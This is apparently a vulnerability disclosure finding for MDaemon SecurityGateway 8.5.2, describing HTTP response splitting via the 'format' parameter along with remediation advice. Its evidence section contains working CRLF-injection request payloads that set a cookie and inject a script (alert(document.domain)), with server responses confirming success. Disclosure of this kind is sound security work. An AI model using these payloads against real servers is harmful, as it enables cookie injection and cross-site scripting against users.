

Finding GTN-003: HTTP Response splitting through 'format' parameter

Severity: High

Vendor of the product: MDaemon Technologies

Product: SecurityGateway for Email Servers

Version: v8.5.2 (64 bit)

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Details of Vulnerability:

HTTP Response Splitting occurs when a web server fails to sanitize CR and LF characters before the data is included in outgoing HTTP headers.

To launch a successful exploit, the application must be vulnerable to the injection of Carriage Return (CR, ASCII 13, \r) and Line Feed (LF, ASCII 10, \n) characters, which are used in the HTTP protocol to terminate a line, into the response header. This technique is also referred to as "CRLF Injection in HTTP Headers", and it gives attackers control of the remaining headers and body of the response that the application will send.

Impact:

The vulnerability allows the attacker to set arbitrary headers, take control of the body, or break the response into two or more separate responses. Impacts depend on the technological stack, with outcomes including Cross-Site Scripting, Cookie Injection, CORS Headers Injection, CSP Bypass, Cache Poisoning attacks, and many others.

Evidence:



```
Request
Pretty Raw Hex
1 GET /SecurityGateway.dll?view=download&data=lists&format=CSV%0D%0ASet-Cookie:%20mycookie=hacked&blacklist=1&user=
  1 HTTP/1.1
2 Host: 192.168.1.66:4000
3 Accept: text/plain, */*; q=0.01
```

```
6 MIME-Version: 1.0
7 Content-Type: text/csv; charset=utf-8
8 Content-Length: 0
9 Content-Disposition: attachment; filename="lists.csv"
10 set-cookie: mycookie=hacked"
11 Pragma: No-cache
12 Expires: Thu, 01 Jan 1970 00:00:00 GMT
13 Connection: close
14
```

Trying to chain with XSS vulnerability, XSS was unable to execute because file was downloading

Payload

```
/SecurityGateway.dll?view=download&data=lists.html&format=%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-
XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E&blacklist=1&user=1
```



Request

Pretty Raw Hex

```
1 GET /SecurityGateway.dll?view=download&data=lists.html&format=
  %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(docume
  nt.domain)%3C/script%3E&blacklist=1&user=1 HTTP/1.1
2 Host: 192.168.1.66:4000
3 Cookie: login=pankaj@pankaj%2Cen; SecurityGateway=FMMQVDUIIDNFNZFN; navmenu=NavMyAccount; lastview=V_DASHBOARD;
  lastparams=
4 Connection: close
5
6
```



The screenshot displays the 'Response' tab in a browser's developer tools. The response is an HTTP 200 OK from 'ALT-N SecurityGateway 8.5.2'. The 'Content-Type' header is 'text/csv; charset=utf-8', but the body content is HTML. A red box highlights the injected JavaScript code: `<script>alert(document.domain)</script>`. The 'Inspector' panel on the right shows the 'Response Headers' section with 11 items.

```
1 HTTP/1.0 200 OK
2 X-Frame-Options: SAMEORIGIN
3 X-XSS-Protection: 1
4 Server: ALT-N SecurityGateway 8.5.2
5 Date: Sun, 29 May 2022 14:33:45 GMT
6 MIME-Version: 1.0
7 Content-Type: text/csv; charset=utf-8
8 Content-Length: 0
9 Content-Disposition: attachment; filename="lists.html.?"
10 location://x:1
11 content-type:text/html
12 x-xss-protection:0
13 <script>
14   alert(document.domain)
15 </script>
16 Pragma: No-cache
17 Expires: Thu, 01 Jan 1970 00:00:00 GMT
18 Connection: close
```

Suggested Remediation:

- As with other similar injection attacks, HTTP Response Splitting can be mitigated by performing appropriate server-side validation and escaping. The canonical ways are the following:
- Carefully validate and sanitize any user-provided content that might be used to compose response headers.
- Encode dangerous characters such as `\r` and `\n`.